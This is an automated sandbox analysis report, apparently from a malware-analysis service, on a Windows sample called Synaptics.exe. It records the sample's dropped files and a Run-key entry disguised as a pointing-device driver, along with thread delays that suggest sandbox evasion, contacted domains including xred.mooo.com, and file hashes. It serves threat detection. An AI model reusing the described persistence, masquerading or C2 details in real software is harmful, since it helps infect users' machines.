Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Users\user\Desktop\Synaptics.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\BJZFPPWAPT\~$cache1			Jump to dropped file

Source: C:\Users\user\Desktop\Synaptics.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Windows Analysis Report Synaptics.exe

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
Synaptics.exe

Source: C:\Users\user\Desktop\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 3356	Thread sleep count: 188 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 3356	Thread sleep time: -11280000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 6812	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Last function: Thread delayed
Source: C:\ProgramData\Synaptics\Synaptics.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000	Jump to behavior

Source: Synaptics.exe, 00000002.00000002.3307096093.0000000002050000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: nfqEMUB8t
Source: Synaptics.exe, 00000002.00000002.3307096093.0000000002050000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: nfqEMUB8tIB
Source: Synaptics.exe, 00000002.00000002.3306328291.000000000082A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3306328291.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3306328291.000000000083F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Synaptics.exe, 00000002.00000002.3307096093.0000000002050000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\AppData\Local\Temp\\nfqEMUB8t.exe
Source: Synaptics.exe, 00000002.00000002.3307096093.0000000002050000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 1C:\Users\user\AppData\Local\Temp\\nfqEMUB8t.exe2

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.238	docs.google.com	United States	15169	GOOGLEUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.1	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
142.250.181.97	unknown	United States	15169	GOOGLEUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false

Name	IP	Active
freedns.afraid.org	69.42.215.252	true
docs.google.com	172.217.19.238	true
drive.usercontent.google.com	142.250.181.1	true
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true
xred.mooo.com	unknown	unknown

Name	Malicious	Antivirus Detection	Reputation
xred.mooo.com	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high

ID:	1569493
Product:	CloudBasic
Start time:	19:36:44
Start date:	05.12.2024
Sample:	Synaptics.exe
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	45011233f584317d3450a81d260c2a15
SHA1:	ae512c745c512cb52112e6369741a14584a1fd95
SHA256:	b0d2a065d7a88c63b0664cd41dc439559ea004fdda06aa6ad3c2ea6cbcf2c408
Filetype:	Win32 Executable (generic) a (10002005/4) 93.58%

Name	Type	MD5	SHA1	SHA256
C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators	573220372DA4ED487441611079B623CD	8F9D967AC6EF34640F1F0845214FBC6994C0CB80	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
C:\ProgramData\Synaptics\Synaptics.exe	PE32 executable (GUI) Intel 80386, for MS Windows	45011233F584317D3450A81D260C2A15	AE512C745C512CB52112E6369741A14584A1FD95	B0D2A065D7A88C63B0664CD41DC439559EA004FDDA06AA6AD3C2EA6CBCF2C408
C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Users\user\AppData\Local\Temp\2eRigiZ.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	70FE033AC4864569A1226AC1DAE29E1E	B11D5BA89CEBA762C9AA93355111C01C1F844873	BCEDF4BCDFFF89672B430F439F91C308B4FA1645907947815FD70578CE222C34
C:\Users\user\AppData\Local\Temp\2qY3Bul.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	3BAD60B9579E42FFE37CF5B668D57444	7B01D5974B8F708CC8750B9D8069CAA9390DCC62	F3B2ED7CB129BFD3074B107571BFD1D52EDB01B3FF0FA262DAFB18789CBA5804
C:\Users\user\AppData\Local\Temp\4q3TlAA.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	3E9C5C18D64EE9AF3B1BDC6D65C1D47A	D366ADD42113A9D66090DC2791D803AB7E4BBF51	949A45118A1E662FDF59508B8CC35E9305E65B76608F6758006B244379C93DB2
C:\Users\user\AppData\Local\Temp\59G42BS.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	FEFF79A1CFD3D07BC6BE588BF08F70D0	AA5B7E42E1FDC86AC0A2A1A0A1D00D1050A08F59	EA583A117B8FC217BA39AAF4709A81AE8936DBB54CE7D0B44843839CA0C1FFBA
C:\Users\user\AppData\Local\Temp\5xnIhSg.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	0C2EB6C38BF2EC2742AF160F71E30AC9	25C5FAE90563848001E69228C60C73BAC10D7C4E	2EC9A7F1C31E676CE48A61F6837FD992B5F5A5AD6D6013D4147FA2ED64548507
C:\Users\user\AppData\Local\Temp\8Ht8vmb.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	6154599DD0831E74EE3693D2AF03387B	26C306E44B00B7FCAA150C8F70268294C25062E9	BB8D4A2F39F4C71910A721B6A3B8A1D1CA7F5E4C7B6CD6508F13141A6FD1835D
C:\Users\user\AppData\Local\Temp\E1kmAma.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	5C632E5406ACB1B8E2D374F99B0E23E4	07C938AA86CDE32CDB6257A3761EBE77E5F958DB	E907A044B1CEB39FA6385F523A9F141E1318E34C763B006C70BC56BCBA50E7B3
C:\Users\user\AppData\Local\Temp\EtC1lx9.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	7DC99150A25ECE348CA17608E19FB30F	894A8D11A0BA1C1DBBF16AD2F83417292BD7EDFD	FE573F103D8EA9C89599EB65335EEF9269E315DA1A1C91B9E1F0FE637C6B2377
C:\Users\user\AppData\Local\Temp\IApGaAjb.xlsm	Microsoft Excel 2007+	E566FC53051035E1E6FD0ED1823DE0F9	00BC96C48B98676ECD67E81A6F1D7754E4156044	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
C:\Users\user\AppData\Local\Temp\JoUyohL.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	C1B01F66763106E9A5F67100418FDF90	7CB36777DFC6BD20D0ADC23DA8C3E8787DB854AE	EB10FDBFC49620F5F04CA6462771E971B578445FE394FDF520018D4FA3DB32A1
C:\Users\user\AppData\Local\Temp\KibU3wu.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	BA180C3BAA69188F2BD2225621CF1E24	799163FF44D00DFFA208938D31FCEB1BB11F157A	D44DDB29DF547B04E6FE4181DA25B28F361A0EBE57A2E763E9128066AD81F599
C:\Users\user\AppData\Local\Temp\LOXWKrb.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	4F0FB75FCC44723AB15D228A59E8E347	DA24324549C791DA49F17AE2406F7A269FF8B170	A3D01155722769D477C2F6F563EE44F9221D6131456752C7EF3208434D5DC97C
C:\Users\user\AppData\Local\Temp\OYxh857.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	BEC858CBA25CBB01C1C6B66DD4810D6D	74625BCDD496DB202899D97C54A7095443674EB9	7CB5F7C7F94B7D14864747B158B5E6B57EA3D4A643DE1731653A04904A4E0310
C:\Users\user\AppData\Local\Temp\R315ya5.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	EEF1247448BAB9D3B5FC53C62FBC1EB2	6BAE2DC59E9C53EC93F03F724B1FEA70BE47E314	19542D3F1F666F43368ACC2229FB65E5145FA029CE4FAAD6AEAC9413713109CD
C:\Users\user\AppData\Local\Temp\SExABrE.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	41A82717C0FDC23A3F21A53C8D642F19	9367B574732A7785000B9443FD40F2CB0A68C35A	49D8DB9E4379A132A4B557D4E4E0FAB367458D75D23F43C28B4167844FD86450
C:\Users\user\AppData\Local\Temp\ToaOyj1.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	FF5B5A62C21C04C3ACE726902C20221B	D048767E8C0E98A52A137A101633E566503478AE	1CFC024CA5B45FCBB09404725C6DB416D144FA4B261CBD68973094A13E8DE706
C:\Users\user\AppData\Local\Temp\YPv4BLl.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	56CDDFB78F82E4F25CD60B7DF0063A82	63CDD691DD9CD5DA232D2381374D166153BAADD1	0202B66B4D7FB6EE1B05FA93EF44C1582FDD24DF41D649AFBC465F11FE5F68CE
C:\Users\user\AppData\Local\Temp\aTSPhh9.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	134187D19A619183A5818A101CCACF40	69B3E8FA19E0AEB07CC25AC0006FD138DC942751	57A2E04F42C13861F39D6DD76D095FD422126BE0C1371287F917083510C8F5F2
C:\Users\user\AppData\Local\Temp\eHrMkHi.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	A819866BC8F20D026B700B5C790BCA92	2B31309928A5CC68E3E0F3847E9B8B60B7CE2A8E	2E7CE7F83023289C315E9C380CBBB072FEEB426BABF2841D6DAA3E97741C9D47
C:\Users\user\AppData\Local\Temp\fATLA5l.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	827CEA10EA35ED78EC3B718587225231	6DE5D892987B4ED5EBA064A740DED8DE7ED3C18D	D030BF88F152D4900D563D985BA75FB86F538859630E34F8A5672973DA2DDD97
C:\Users\user\AppData\Local\Temp\fLpBRGr.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	585FE703896C537A5CA01D8A45D080C0	5CFF918F7AE782161BAF7FCF1C5BEFC614D9F4D8	F789AF526C651651C9EE0F7F98916A3D8A036ADD5BFE0ECD90BBE79593FC2F80
C:\Users\user\AppData\Local\Temp\iwyaJts.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	724741C65A7CA7FF892FFEDBB66A1E22	AA4B0F5C69AE3043C50979F8E8B3592A4190CB91	E4482B0886F6CBBC5DEC73D7F64D27C9D63A27FC3803071C7D65F561D0414061
C:\Users\user\AppData\Local\Temp\j85JYJE.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	98E7AE7E1B70267AEE692749AE4F8885	DF3BB80ED9A39E6B25A10F8D217BB07FDCBE003E	232F6EFF86933161B900588DC2CD2028260C1A72EE3CEA46A5A0F0180AEF34A0
C:\Users\user\AppData\Local\Temp\jKihpCa.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	2E3CC7ABE33BABB1CD14D8148E7943DA	AB491315B7B886C9C5AFBCE5B08C4C529177D646	D347E143290A0219ECFE8D0A07E9E2125FF6BEED73A7F9918EBF8EB2F201ED5F
C:\Users\user\AppData\Local\Temp\jVNzXDd.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	A3BA2633234D1E14695BDA29B72E6942	881894A3DC4AB8C72BED90B756082C27D60619AF	F4FF97685A1F420687E2235A06977048852BD9E81D4B68258A3F32F6CC730ABE
C:\Users\user\AppData\Local\Temp\lRwGBam.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	6A379B6D33F700CD32A2B0F55B24EE67	E2C2A8DA9714F9ED55B47C0F18C7E03405A9F963	401C94B15B65ED05B56ABB3A20B21063BE8AEAAA8EF8B3370A9A9DDBFEFBE1A2
C:\Users\user\AppData\Local\Temp\mwXlVt4.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	9C66E298117F05D28E4E28DA23B38DEF	674EE9CA0EA1A26B1E4937A77F1759EC037FFDF5	DBEC889D79B6606A477BBA45DA65352566F7B22331F7D8EE2C4583C255422242
C:\Users\user\AppData\Local\Temp\qUcTZos.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	77FE43177C3D255F7297D4DB41CF629F	415687945C77A600CFDBA6E83965AA0861A9EBC8	6DAD79B2D5AC5C1A128F9E57B9154F62F3D304D45F2D56EF72E1CB99D0A72EAE
C:\Users\user\AppData\Local\Temp\qkRSwrd.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	FC254C97F911DB2DE98F437143E157D4	EDEB16CADBE7072A6E71AC265131C01DB7A55F99	CC12B697AC445F1E70F60920D60A3B4D5FF7AD838733EB6C740A82E61D844444
C:\Users\user\AppData\Local\Temp\sBP3QWe.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	4CDC4A7DFB376C9418C95C5766E0C22C	0C9C259E813FE3356EDFEA1A8497A9A09481F12C	1F31D95EBE6A518039786EC4102C43B80D5BE509C0D417A2A21296A8CCBA2BF8
C:\Users\user\AppData\Local\Temp\tFXlOpe.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	7AD48FDD46CB3EAD1B993291FCD220BC	97325C0E5E671337616D4EF4EFA87B38080DAEDF	5E590D51145F714404C379295784BFFA4710CEC273B707DB0FCDD3AFD00DE32F
C:\Users\user\AppData\Local\Temp\tVp8ceJ.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	935F0F55F5063E87A3730CAEF7DE24BA	91D5240D9DD595A36C74179115D529545DE39614	E0AFC9878131065D52642B0507338A87C167E4B8DE8965128BAE4BDEC7FDF497
C:\Users\user\AppData\Local\Temp\uIRBxbr.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	7B3A2DEA713990F54D3C3A5188B3B733	8218529C781000F49E633C1502E2F47CFE4A8069	7DFB0300160F2C008F8FCC4B09EC33E40E675C8E11F806D095A8DC99A2EBB3C9
C:\Users\user\AppData\Local\Temp\vRUjGCD.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	33796C62D90BF43DEE1F81143032764A	50F59D56D52398CAC44CEBEB5AFAEDCBC41BD1DD	561EEEDE6D02928308BD71535F86B4FBB8F21A468055FCB14FBB93C0E00D884F
C:\Users\user\AppData\Local\Temp\yLuLKbg.ini	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators	901DD243701FE0B10380D8AA3FF68475	EE8D27EF6E08C09A0777B9F3615F31DE3AF88D3A	D25A9EDD0D0F153A7A8A5E7C2C37B3DC349AD1EA4F5F82E8C20BFCF544418095
C:\Users\user\AppData\Local\Temp\~$IApGaAjb.xlsm	data	B77267835A6BEAC785C351BDE8E1A61C	FABD93A92989535D43233E3DB9C6579D8174740E	3B222E766EADC8BC9A8A90AC32FA591F313545B7E8C5D481D378AE307FA798C3
C:\Users\user\AppData\Local\Temp\~DFE8436B7A01295889.TMP	Composite Document File V2 Document, Cannot read section info	7426F318A20A187D88A6EC88BBB53BAF	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
C:\Users\user\Documents\BJZFPPWAPT\EOWRVPQCCS.xlsm	Microsoft Excel 2007+	E566FC53051035E1E6FD0ED1823DE0F9	00BC96C48B98676ECD67E81A6F1D7754E4156044	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
C:\Users\user\Documents\BJZFPPWAPT\~$EOWRVPQCCS.xlsx	data	B77267835A6BEAC785C351BDE8E1A61C	FABD93A92989535D43233E3DB9C6579D8174740E	3B222E766EADC8BC9A8A90AC32FA591F313545B7E8C5D481D378AE307FA798C3
C:\Users\user\Documents\BJZFPPWAPT\~$cache1	PE32 executable (GUI) Intel 80386, for MS Windows	45011233F584317D3450A81D260C2A15	AE512C745C512CB52112E6369741A14584A1FD95	B0D2A065D7A88C63B0664CD41DC439559EA004FDDA06AA6AD3C2EA6CBCF2C408
C:\Users\user\Documents\BJZFPPWAPT\~$cache1:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309